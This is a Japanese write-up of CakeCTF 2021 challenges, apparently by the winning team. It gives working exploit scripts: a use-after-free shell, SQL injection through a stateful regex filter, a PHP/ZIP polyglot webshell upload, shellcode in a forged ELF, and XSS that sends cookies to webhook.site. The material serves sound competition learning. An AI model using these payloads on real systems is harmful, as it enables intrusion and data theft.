8/28 - 8/29という日程で開催された。zer0ptsで参加して1位。やったー。
(9/29追記) 賞品(マグカップ、タオル、コースター)が届いた。かわいい。
[Web 110] MofuMofu Diary (80 solves)
PHP製のもふもふ画像ビュアー。蔵王キツネ村行きたいなあ。
2回目以降のアクセスのために画像のキャッシュがセッションに保存されている。Cookieには、セッションIDのほかに {"data":[{"name":"images\/01.jpg","description":"Half sleeping cat"}],"expiry":1630800898}
のようにキャッシュされた画像の情報がJSONで保存されている。
JSONの expiry
はキャッシュが破棄される時刻であり、もしそれを過ぎていれば、以下のようにWebサーバはCookieの情報をもとに再度画像を取得してセッションに保存する。
$images = glob('images/*.jpg');
$expiry = time() + 60*60*24*7;
foreach($images as $image) {
$text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
$description = trim(file_get_contents($text));
array_push($results, array(
'name' => $image,
'description' => $description
));
$_SESSION[$image] = img2b64($image);
}
$cookie = array('data' => $results, 'expiry' => $expiry);
setcookie('cache', json_encode($cookie), $expiry);
画像の取得先もユーザが操作できるから、/flag.txt
も読めてしまう。%7B%22data%22%3A%5B%7B%22name%22%3A%22%2Fflag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%5D%2C%22expiry%22%3A0%7D
をCookieに入れてやるとフラグが得られる。
CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns}
[Pwn 113] UAF4b (75 solves)
楽しいUAF。以下のような構造体を悪用してどこかのディレクトリにあるファイルを読み出せばよいらしい。system
や構造体のアドレスなど色々教えてくれて優しい。
typedef struct {
void (*fn_dialogue)(char*);
char *message;
} COWSAY;
cowsay
を free
- そのままメッセージの変更をしようとすると
cowsay
があったアドレスに書き込まれるので、cowsay->fn_dialogue
を system
に書き換え
- またメッセージの変更、
sh
と入力
cowsay->fn_dialog(cowsay->message)
を実行
このような手順でシェルが取れる。cat f*; exit
でフラグが得られる。
import re
from pwn import *
s = remote('pwn.cakectf.com', 9001)
s.recvuntil(b'<system> = ')
system = int(s.recvline(), 16)
print('system', system)
s.recvuntil(b'> ')
s.sendline(b'3')
s.recvuntil(b'> ')
s.sendline(b'4')
r = s.recvuntil(b'> ')
addr = int(re.findall(r'(0x[0-9a-f]+).+fn_dialogue', r.decode())[0], 16)
payload = b''
payload += p64(system)
s.sendline(b'2')
s.sendline(payload)
s.recvuntil(b'> ')
s.sendline(b'2')
s.sendline(b'sh')
s.recvuntil(b'> ')
s.sendline(b'1')
s.sendline(b'cat f*; exit')
s.interactive()
s.close()
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}
[Misc 143] Break a leg (44 solves)
LSBに情報が埋め込まれるタイプのステガノ問なんだけれども、data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]
からわかるようにLSBがクリアされないままORで書き込まれてしまっている。
幸いにもフラグの埋め込みは何度も繰り返されているので、フラグの各ビットについて、対応するすべてのピクセルのLSBのうち一度でも 0
が出現していれば 0
、そうでなければ 1
とわかる。フラグのビット数はわからないが、暴力解法で探せばよい。
import itertools
from PIL import Image
def split(s, n):
return [s[i:i+n] for i in range(0, len(s), n)]
def go(s, n):
t = split(s, n)[:-8]
res = []
for x in range(n):
c = 0xff
for v in t:
c &= v[x]
res.append(c)
return [int(''.join(str(b) for b in x[::-1]), 2) for x in split(res, 8)][::-1]
im = Image.open('chall.png')
s = list(itertools.chain.from_iterable(im.getdata()))
t = [x & 1 for x in s]
for x in range(2, 1000):
res = bytes(go(t, x))
if b'\x00\x00\x00' in res:
continue
print(res)
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}
[Misc 173] telepathy (29 solves)
以下のように /
にアクセスするとフラグを返すバックエンドのWebサーバがあるが、
func run() error {
e := echo.New()
e.File("/", "public/flag.txt")
if err := e.Start(":8000"); err != nil {
return err
}
return nil
}
フロントエンドのnginxは \w\{.*\}
という正規表現にマッチする文字列を全部 I'm sending the flag to you by telepathy... Got it?
に置換してしまう。
location / {
# I'm getting the flag with telepathy...
proxy_pass http://app:8000/;
# I will send the flag to you by HyperTextTelePathy, instead of HTTP
header_filter_by_lua_block { ngx.header.content_length = nil; }
body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
}
バックエンドのサーバがこの正規表現に当てはまらないようにフラグを返すようにすればよい。Range
ヘッダで {
より後ろのコンテンツを返すようにさせるとフラグが得られる。
$ curl misc.cakectf.com:18100 -H "Range: bytes=8-"
r4ng3-0r4ng3-r4ng3}
[Cheat 196] Kingtaker (22 solves)
Helltaker的な倉庫番っぽいゲームが与えられる。緑色のyoshikingさんを王冠まで導けば次のステージに進める。岩や壁は通行不可だが、段ボール箱は進行方向に通行不可のオブジェクトがない限り移動させられる。
左下に表示されている数値は残りの移動可能な回数であり、移動したり段ボール箱を押したりすると減少する。
最終ステージは明らかに攻略不能なので、カテゴリ名のとおりチートで突破する必要がある。
このゲームはGameMaker製で、Web向けにエクスポートされたらしいことがHTMLの gm4html5_div_class
というクラス名や GameMaker_Init
という関数名から推測できる。ゲームのコードはJavaScriptで記述されているが、javascript-obfuscatorによって難読化されてしまっている。仕方がないので適当なフォーマッタである程度読みやすくしておく。
まず通行できないオブジェクトの上を通行できるようにしたい。それっぽい wall
のような文字列を探してみると、以下のようなコードが見つかった。プロパティ名の意味はよくわからないが、値を適当に変えていると、_w2
を 0
に変えたときに壁抜けができるようになった。
}, {
'_B1': 'obj_wall',
'_w2': 0x2,
'_m2': !0x0,
'parent': -0x64,
'_t2': [],
'_u2': []
}, {
これで通行不可のオブジェクトを無視して移動できるようになったが、先ほどのスクリーンショットで見たように移動回数の問題も解決する必要がある。ステージごとに異なる移動回数が設定されているが、その設定の処理を見つけることはできないだろうか。
第3ステージの移動回数は41回に設定されている。0x29
で検索してみると以下のようなコードが見つかった。ここにブレークポイントを置いてみるとちょうど第3ステージに突入した際に停止した。代入される値を50に変えてみると移動回数も50回に増え、確かにこの処理が移動回数の設定をしていることがわかった。
ついでに _0xcf60a1(0x7bb)
の内容を確認すると、これは _n4
という文字列だった。
function _03(_0x4f72bf) {
var _0xcf60a1 = _0xffd866;
global[_0xcf60a1(0x7bb)] = 0x29;
}
ほかに global
の _n4
を参照している箇所を探すと、以下のように最終ステージの移動回数の設定をしているであろう処理が見つかった。0x3
を48に変えてやると、移動回数を48回にまで増やすことができた。
function _13(_0x1dbf6d) {
global['_n4'] = 0x3;
}
このまま王冠に触れるとフラグが表示された。
CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}
[Web 196] travelog (22 solves)
ブログ。各投稿の本文でHTML Injectionが可能だが、default-src 'none'; script-src 'nonce-(nonce)' 'unsafe-inline';style-src 'nonce-(nonce)' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/; img-src 'self'; connect-src http: https:; base-uri 'self'
というやや厳しめなCSPが有効になっている。
XSS botのコードを確認すると User-Agent
にフラグが設定されていることがわかった。つまり外部のURLにアクセスさせるだけでフラグが得られるようだが、残念ながら外部のURLを報告してもXSS botがやって来ることはない。なんとかしてCSPをバイパスする必要がある。
const crawl = async (post_url) => {
if (!post_url.match(/\/post\/[0-9a-f]{32}\/[0-9a-f]{32}$/)) {
return;
}
const url = base_url + post_url;
const browser = await puppeteer.launch(browser_option);
try {
const page = await browser.newPage();
page.setUserAgent(flag);
await page.goto(url, {timeout: 3000});
await wait(3000);
await page.close();
} catch(e) { }
await browser.close();
}
設定されているCSPを見ていくと、connect-src
ディレクティブの http: https:
というガバガバっぷりが気になった。connect-src
ディレクティブは a
要素の ping
属性や fetch
などで読み込めるURLを制限するものだが、XSS botはリンクをクリックしないし、任意のJavaScriptコードを実行できるわけでもないので悪用はできないように思える。
ちょっと悩んで、link
要素の preload
を思い出す。<link rel="preload" href="https://webhook.site/…" as="fetch">
という内容で投稿してXSS botに報告すると、XSS botがWebhook.siteにアクセスしてきた。
CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}
これはfirst bloodが取れたら賞品がもらえるという問題だったのだけれども、./Vespiaryに15分負けた😭
[Web 204] travelog again (20 solves)
travelogのリベンジ問らしい。今度は以下のようにフラグが User-Agent
でなくCookieに格納されるようになった。httpOnly
が false
に設定されているから、JavaScriptコードの実行ができれば document.cookie
からアクセスできるはず。
const browser = await puppeteer.launch(browser_option);
try {
const page = await browser.newPage();
await page.setCookie({
"domain":"challenge:8080",
"name":"flag",
"value":flag,
"sameSite":"Strict",
"httpOnly":false,
"secure":false
});
await page.goto(url, {timeout: 3000});
await wait(3000);
await page.close();
} catch(e) {
console.log("[-] " + e);
}
travelogでは使わなかったが、このブログサービスでは以下のようにファイルのアップロードもできる。ファイルのフォーマットは imghdr
によってチェックされており、JPEG以外は受け付けないらしい。
@app.route('/upload', methods=['POST'])
def upload():
if 'user_id' not in session:
abort(404)
images = request.files.getlist('images[]')
for f in images:
with tempfile.NamedTemporaryFile() as t:
f.save(t.name)
f.seek(0)
if imghdr.what(t.name) != 'jpeg':
abort(400)
for f in images:
name = os.path.basename(f.filename)
if name == '':
abort(400)
else:
f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name))
return 'OK'
アップロードしたファイルは以下のように /uploads/<user_id>/<name>
から閲覧できる。send_file
が使われているようだが、なぜかMIMEタイプが設定されていない。
アップロード処理では拡張子まではチェックされていないし、ファイル名は保持される。JPEGとJavaScriptのpolyglotを hoge.js
のようなファイル名でアップロードすれば、Content-Type: application/javascript
でそのJSファイルが返ってくるはずだ。
@app.route('/uploads/<user_id>/<name>')
def uploads(user_id, name):
user_id = user_id.lower()
if re.fullmatch('[0-9a-f]{32}', user_id) is None:
abort(404)
return send_file(PATH_IMAGE.format(user_id=user_id, name=name))
imghdr
のコードを確認してみると、なんとJPEGであるかどうかは7バイト目から10バイト目が JFIF
または Exif
かどうかだけでチェックされている。これなら AAAAAAJFIF
でもJPEGと判定されてしまう。
さて、これで script
要素で読み込めば実行可能なJSファイルがアップロードできることがわかったが、残念ながらCSPの script-src
は 'nonce-(nonce)' 'unsafe-inline'
であり、そのままでは実行できない。なんとかできないだろうか。
ブログの記事ページをよく見てみると、HTML Injectionが可能な箇所より後ろで ../../show_utils.js
が読み込まれていることがわかる。base-uri
は 'self'
に設定されているから、<base href="/uploads/(ユーザID)/a/b/">
を挿入してやればアップロードした show_utils.js
が読み込まれるようにできるはずだ。
<div class="uk-container">
(ここに内容が入る)
</div>
<hr>
<div class="uk-grid-row" uk-grid>
<div>
<a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a>
</div>
…
</div>
<script nonce="69P8FUHI9EoaHuu3gkPa3w==" src="../../show_utils.js"></script>
show_utils.js
というファイル名で AAAAAAJFIF=navigator.sendBeacon('https://webhook.site/…',document.cookie)
という内容のファイルをアップロードし、<base href="/uploads/(ユーザID)/a/b/">
という内容の記事を作成する。出来上がった記事をXSS botに報告するとフラグが得られた。
CakeCTF{I'll_n3v3r_trust_HTML:angry:}
[Rev 214] ALDRYA (18 solves)
ELFがmaliciousでないかどうかチェックするALDRYAというシステムを作ったらしい。以下のファイルが与えられている。
aldrya
(与えられたELFがALDRYA形式のシグネチャにマッチしているか確認し、もしマッチしていればそのELFを実行してくれるELF)
sample.elf
(Hello, Aldrya!
と挨拶するだけのELF)
sample.aldrya
(sample.elf
のシグネチャ)
server.py
(サーバで動いているコード、./aldrya (アップロードしたファイル) ./sample.aldrya
を実行してくれる)
まずALDRYAがどのようなフォーマットであるか確認する必要がある。IDA Freewareに aldrya
を投げてみると綺麗にデコンパイルされた。
Pythonに書き直すと大体以下のようなコードになる。ELFを0x100バイトを1チャンクとして区切ってそれぞれ32ビットのハッシュに変換し、それをALDRYA形式のファイルに格納されているハッシュと比較しているようだ。
import struct
def u32(x):
return struct.unpack('<I', x)[0]
def ror(x, n):
return ((x >> n) | (x << (32 - n))) & 0xffffffff
def calc_hash(buf):
res = 0x20210828
buf = buf.ljust(0x100, b'\x00')
for i in range(0x100):
res ^= buf[i]
res = ror(res, 1)
return res
class Aldrya(object):
def __init__(self, elf, aldrya):
self._fp_elf = open(elf, 'rb')
self._fp_aldrya = open(aldrya, 'rb')
self._chunk_num = None
def _validate_chunk(self):
legit_hash = u32(self._fp_aldrya.read(4))
calced_hash = calc_hash(self._fp_elf.read(0x100))
if legit_hash != calced_hash:
return False
return True
def _validate_size(self):
self._chunk_num = u32(self._fp_aldrya.read(4))
self._fp_elf.seek(0)
return True
def validate(self):
if self._fp_elf.read(4) != b'\x7fELF':
return False
if not self._validate_size():
return False
for _ in range(self._chunk_num):
if not self._validate_chunk():
return False
return True
aldrya = Aldrya('sample.elf', 'sample.aldrya')
print(aldrya.validate())
0x100バイトのチャンクが32ビットに変換される calc_hash
の処理を見てみると、1バイトを読み込んでXORし、1ビットだけ右ローテートすることを繰り返していることがわかる。
XORと1ビットずつの右ローテートによって計算されていることを考えると、各チャンクにつき32バイトの 0
と 1
からなる好きなバイト列を書き込めれば、ハッシュ値を任意の値に操作することができそうだ。
ということで、sample.aldrya
にマッチするような細工されたELFを作っていく。まず加工がしやすいなるべく小さなELFを用意する。以前Plaid CTF 2020のgolf.soのwriteupを参考にDiceCTF 2021のTI-1337 Plus CEで作ったELFをベースに、cat /f*
を実行する512バイトのELFが出来上がった。各チャンクの最後の32バイトは A
で埋められており、自由に書き換えられるようになっている。
BITS 64
ehdr:
db 0x7f, "ELF", 2, 1, 1, 0
times 8 db 0
dw 3
dw 0x3e
dd 0x41424344
dq shell
dq phdr - $$
dq 0
dd 0
dw ehdrsize
dw phdrsize
dw 2
dw 0
dw 0
dw 0
ehdrsize equ $ - ehdr
phdr:
dd 1
dd 7
dq 0
dq $$
dq $$
dq progsize
dq progsize
dq 0x1000
phdrsize equ $ - phdr
dd 2
dd 7
dq dynamic
dq dynamic
dq dynamic
dq dynsize
dq dynsize
dq 0x1000
times 80 - 32 db 0x0
times 32 db 0x41
shell:
push rsp
pop rdi
push 0
push rsp
pop rdi
push 0x6e69622f
pop rax
xor dword [rdi], eax
push 0x68732f
pop rax
xor dword [rdi+4], eax
push 0
push rsp
pop rcx
push 0x632d
pop rax
xor dword [rcx+0], eax
push 0
push rsp
pop rdx
push 0x20746163
pop rax
xor dword [rdx], eax
push 0x2a662f
pop rax
xor dword [rdx+4], eax
push 0
push rdx
push rcx
push rdi
push rsp
pop rsi
push 0
pop rdx
push 59
pop rax
syscall
push 0
pop rdi
push 60
pop rax
syscall
dynamic:
dt_init:
dq 0xc, shell
dt_strtab:
dq 0x5, shell
dt_symtab:
dq 0x6, shell
times (512 - 32 - ($ - $$)) db 0
times 32 db 0x41
dynsize equ $ - dynamic
progsize equ $ - $$
続いて、sample.aldrya
のシグネチャにマッチするようにこのELFの各チャンクの最後32バイトを変更するPythonスクリプトを書く。
import struct
from aldrya import Aldrya, calc_hash
def u32(x):
return struct.unpack('<I', x)[0]
def p32(x):
return struct.pack('<I', x)
with open('malelf', 'rb') as f:
s = f.read().ljust(0x200, b'\x00')
with open('sample.elf', 'rb') as f:
f.seek(len(s))
s += f.read()
with open('sample.aldrya', 'rb') as f:
num = u32(f.read(4))
hashes = []
for _ in range(num):
hashes.append(u32(f.read(4)))
target = calc_hash(s[:0x100], size=0x100-0x20) ^ hashes[0]
buf = list(s[:0x100])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = bytes(buf) + s[0x100:]
target = calc_hash(s[0x100:0x200], size=0x100-0x20) ^ hashes[1]
buf = list(s[0x100:0x200])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = s[:0x100] + bytes(buf) + s[0x200:]
with open('result.elf', 'wb') as f:
f.write(s)
a = Aldrya('sample.elf', 'sample.aldrya')
print(a.validate())
b = Aldrya('result.elf', 'sample.aldrya')
print(b.validate())
完成した result.elf
をアップロードするとフラグが得られる。
CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}
[Rev 204] rflag (20 solves)
与えられた実行ファイルを実行してみると、毎回ランダムに生成される32バイトのhex stringを当てろと言われる。ヒントとして、文字列を入力するとhex stringの何文字目でそれがマッチしているか4回まで確認できる。
^.+$
や [0-9]
などを入力するとちゃんとマッチすることから、正規表現が使われていることがわかる。ある箇所の文字がある正規表現にマッチしているかしていないかを4回確認できるということは、最終的に4ビットの情報が得られるということを意味する。
[13579bdf]
、[2367abef]
、[4567cdef]
、[89abcdef]
の4つの正規表現を使うとhex stringの全体が特定できる。ソルバーを書こう。
from pwn import *
def q(s):
p.recvuntil(': ')
p.sendline(s)
p.recvuntil('Response: ')
return eval(p.recvline())
rs = ['[13579bdf]', '[2367abef]', '[4567cdef]', '[89abcdef]']
p = remote('misc.cakectf.com', 10023)
a = [q(r) for r in rs]
res = [0 for _ in range(32)]
for i, x in enumerate(a):
for j in x:
res[j] |= 1 << i
res = ''.join(hex(x)[2:] for x in res)
p.sendline(res)
p.interactive()
これを実行するとフラグが得られる。
$ python3 solve.py
[+] Opening connection to misc.cakectf.com on port 10023: Done
[*] Switching to interactive mode
Okay, what's the answer?
Correct!
FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}
x0r19x91さんがRustコードにデコンパイルしていてすごいなあという気持ちになった。
[Web 247] My Nyamber (13 solves)
猫に割り振られたマイニャンバーなる番号、または猫の名前から個ニャン情報を引き出せるWebアプリケーションらしい。
コードは以下のように大変シンプルな作りになっている。マイニャンバーで検索をかける場合には parseInt
で数値化を、猫の名前で検索をかける場合には '
、\
、空白文字が名前に含まれていないかの確認を施した上でSQLに展開しクエリを実行している。猫の名前で検索する場合には、配列を使うことで複数の個ニャン情報を引き出せるようだ。
const express = require("express");
const sqlite3 = require("sqlite3");
const path = require('path');
const app = express();
const db = new sqlite3.Database('database.db');
app.disable('etag');
function querySqlStatement(stmt) {
return new Promise((resolve, reject) => {
db.get(stmt, (err, row) => {
if (err) reject(err);
if (row === undefined)
reject("Not found");
else
resolve(row);
});
});
}
async function queryNekoByName(neko_name, callback) {
let filter = /(\'|\\|\s)/g;
let result = [];
if (typeof neko_name === 'string') {
if (filter.exec(neko_name) === null) {
try {
let row = await querySqlStatement(
`SELECT * FROM neko WHERE name='${neko_name}'`
);
if (row) result.push(row);
} catch { }
}
} else {
for (let name of neko_name) {
if (filter.exec(name.toString()) === null) {
try {
let row = await querySqlStatement(
`SELECT * FROM neko WHERE name='${name}'`
);
if (row) result.push(row);
} catch { }
}
}
}
callback(result);
}
async function queryNekoById(neko_id, callback) {
let nid = parseInt(neko_id);
if (!isNaN(nid)) {
try {
let row = await querySqlStatement(
`SELECT * FROM neko WHERE nid=${nid}`
);
if (row) {
callback([row]);
return;
}
} catch { }
}
callback([]);
}
app.use(express.static(path.join(__dirname, 'public')))
app.get("/api/neko", function(req, res, next) {
if (req.query.id == null && req.query.name == null) {
res.status(400);
res.json({reason: 'My Nyamber is not set'});
} else {
try {
if (req.query.id) {
queryNekoById(req.query.id,
result => { res.json({result}); });
} else {
queryNekoByName(req.query.name,
result => { res.json({result}); });
}
} catch (e) {
res.status(500);
res.json({reason: 'SQL query failed :cry:'});
}
}
});
app.listen(8080);
一見脆弱性はないように思えるが、猫の名前の検索時に実行されるフィルターの挙動を検証していた際に不思議なことに気づいた。以下のように複数回 filter.exec
を実行すると、どういうわけかその結果が毎回変わってしまう。
let filter = /(\'|\\|\s)/g;
const p = "'";
for (let i = 0; i < 10; i++) {
console.log(filter.exec(p));
}
$ node test.js
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
MDNを見てみると「JavaScriptの RegExp
オブジェクトは、global
または sticky
フラグが設定されている場合 (例えば /foo/g
や /foo/y
) はステートフルになります」という記述があった。確かに filter
には g
フラグが設定されている。これを使えばフィルターをバイパスしてSQLインジェクションに持ち込めそうだ。
以下のようなスクリプトを書いて実行するとフラグが得られた。
import requests
payload = "' union select flag,2,3,4 from flag;"
r = requests.get('http://web.cakectf.com:8002/api/neko', params={
f'name[{i}]': payload for i in range(10)
})
print(r.text)
$ python solve.py
{"result":[{"nid":"CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}","species":2,"name":3,"age":4}]}
[Web 266] ziperatops (11 solves)
1個以上のZIPをアップロードすると、ZIPに含まれるファイルの名前を列挙してくれるWebアプリケーションらしい。
これもまたコードはシンプル。index.php
は以下のような内容になっている。setup
という utils.php
で定義されている関数によって、アップロードされたZIPファイルを一時ディレクトリに移動させている。エラーが発生するか、ZIPに格納されているファイル名の列挙が終われば cleanup
によって一時ディレクトリを削除している。
<?php
require_once 'utils.php';
function ziperatops() {
list($dname, $err) = setup('zipfile');
if ($err) {
cleanup($dname);
return array(null, $err);
}
$results = array();
foreach (glob("temp/$dname/*") as $path) {
$zip = new ZipArchive;
$zip->open($path);
for ($i = 0; $i < $zip->count(); $i++) {
array_push($results, $zip->getNameIndex($i));
}
}
cleanup($dname);
return array($results, null);
}
list($results, $err) = ziperatops();
?>
…
setup
と cleanup
の実装を確認する。utils.php
は以下のような内容になっている。setup
では、まず一時ディレクトリのディレクトリ名を sha1(uniqid())
で生成している。uniqid
に第二引数が渡されていないのでかなり頑張れば予測できそうではあるが、リモートでは難しいだろう。
アップロードされた各ZIPファイルについて、ZIPファイル自身のファイル名をチェックしている。もしチェックに引っかかればその場で処理が中断され、先ほど確認したように一時ディレクトリが削除される。
cleanup
では、glob
で一時ディレクトリに存在するZIPファイルを削除した後にディレクトリを削除している。
<?php
function setup($name) {
$dname = sha1(uniqid());
@mkdir("temp/$dname");
if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name']))
return array($dname, null);
for ($i = 0; $i < count($_FILES[$name]['name']); $i++) {
$tmpfile = $_FILES[$name]['tmp_name'][$i];
$filename = $_FILES[$name]['name'][$i];
if (!is_uploaded_file($tmpfile))
continue;
$zip = new ZipArchive;
if ($zip->open($tmpfile) !== TRUE)
return array($dname, "Invalid file format");
if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
return array($dname, "Invalid file name: $filename");
if (strstr($filename, "..") !== FALSE)
return array($dname, "Do not include '..' in file name");
if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
return array($dname, "Invalid extension (Only .zip is allowed)");
if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
return array($dname, "Failed to upload the file: $dname/$filename");
}
return array($dname, null);
}
function cleanup($dname) {
foreach (glob("temp/$dname/*") as $file) {
@unlink($file);
}
@rmdir("temp/$dname");
}
?>
さて、ここまで実装を確認してきたが、よく見るとところどころで怪しげな点がある。列挙していくと、
- 一時ディレクトリが作成される
temp/
ディレクトリはドキュメントルート下にあり、アクセスできる
- ZIPのファイル名のチェックに使われる正規表現が
/^.+\.zip/
と $
が使われていない
- このため、
a.zip.php
のように実際には拡張子が .zip
でなくても通ってしまう
cleanup
でのファイルの列挙に glob
が使われている
glob("temp/$dname/*")
はドットから始まるファイルを列挙しない。したがって、.a.zip
のようなファイルをアップロードするとそのファイルは削除されない。また、ディレクトリにファイルが残っているため rmdir
も失敗する
move_uploaded_file
が失敗すると一時ディレクトリの名前がエラーメッセージとして表示される
という感じ。まとめると、.a.zip.php
という名前でZIPとPHPのpolyglotのファイルをアップロードし、一時ディレクトリ下に移動した .a.zip.php
にアクセスするとPHPコードが実行されるということになる。一時ディレクトリの名前については、a.zip.(aが300文字続く)
のような長い名前のファイルをアップロードすればエラーメッセージから得られる。
この処理を行うスクリプトを書いて実行するとフラグが得られる。
import requests
import re
with open('a.zip', 'rb') as f:
s = f.read()
BASE_URL = 'http://web.cakectf.com:8004/'
files = {}
files['zipfile[0]'] = ('.a.zip.php', s + b'<?php passthru("cat /f*"); ?>')
files['zipfile[1]'] = ('.a.zip.' + 'a' * 300, s)
r = requests.post(BASE_URL, files=files)
d = re.findall(r'([0-9a-f]+)/', r.text)[0]
r = requests.get(BASE_URL + 'temp/' + d + '/.a.zip.php')
print(r.text)
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}
[Cheat 289] Yoshi-Shogi (9 solves)
Rust製のLinuxで動くGUIの将棋ゲーが与えられる。次の画像のようなハンデのもとで勝てばフラグが得られるらしい。鬼か?
これではとても勝てないので、yoshikingさんにもっと手加減してもらえるようチートを試みる。逆アセンブルして関数名を眺めていると、_ZN11yoshi_shogi10init_board17h76976c8c94fadf3fE
(デマングルすると yoshi_shogi::init_board::h76976c8c94fadf3f
) という気になる関数が見つかった。駒の配置の初期化をしているのだろうか。
雑に mov
と BYTE PTR
でgrepしてみると確かにそうっぽいなあという気がしてくる。試しに0を代入してみるといくつかyoshikingさん側の駒が消えた。素晴らしい。
…
ae45a: c6 40 08 15 mov BYTE PTR [rax+0x8],0x15
ae47c: c6 40 01 14 mov BYTE PTR [rax+0x1],0x14
ae49e: c6 40 07 14 mov BYTE PTR [rax+0x7],0x14
ae4c0: c6 40 02 13 mov BYTE PTR [rax+0x2],0x13
ae4e2: c6 40 06 13 mov BYTE PTR [rax+0x6],0x13
ae504: c6 40 03 12 mov BYTE PTR [rax+0x3],0x12
ae526: c6 40 05 12 mov BYTE PTR [rax+0x5],0x12
ae548: c6 40 04 0f mov BYTE PTR [rax+0x4],0xf
ae56e: c6 40 01 10 mov BYTE PTR [rax+0x1],0x10
ae594: c6 40 07 11 mov BYTE PTR [rax+0x7],0x11
…
yoshi_shogi::init_board::h76976c8c94fadf3f
中の処理を書き換えてyoshikingさん側の駒をできるだけ削除してみたものの、通常の盤面からハンデありの盤面に切り替えると、消滅したはずの歩兵たちがと金として墓から蘇ってきてしまった。これは困った。
yoshi_shogi::init_board::h76976c8c94fadf3f
だけでなくバイナリの全体を mov
と BYTE PTR
でgrepしてみると、以下のように yoshi_shogi::init_board::h76976c8c94fadf3f
外で駒を配置している処理が見つかった。これらも書き換える。
…
a5cc3: c6 00 1c mov BYTE PTR [rax],0x1c
a5cf0: c6 40 01 1c mov BYTE PTR [rax+0x1],0x1c
a5d1e: c6 40 02 1c mov BYTE PTR [rax+0x2],0x1c
a5d4c: c6 40 03 1c mov BYTE PTR [rax+0x3],0x1c
a5d7a: c6 40 04 1c mov BYTE PTR [rax+0x4],0x1c
a5da8: c6 40 05 1c mov BYTE PTR [rax+0x5],0x1c
a5dd6: c6 40 06 1c mov BYTE PTR [rax+0x6],0x1c
a5e04: c6 40 07 1c mov BYTE PTR [rax+0x7],0x1c
a5e32: c6 40 08 1c mov BYTE PTR [rax+0x8],0x1c
…
実行するといい感じにyoshikingさんに手加減をしてもらえるようになった。
ポチポチ駒を動かしているとフラグが得られた。
CakeCTF{https://www.nicovideo.jp/watch/sm19221643}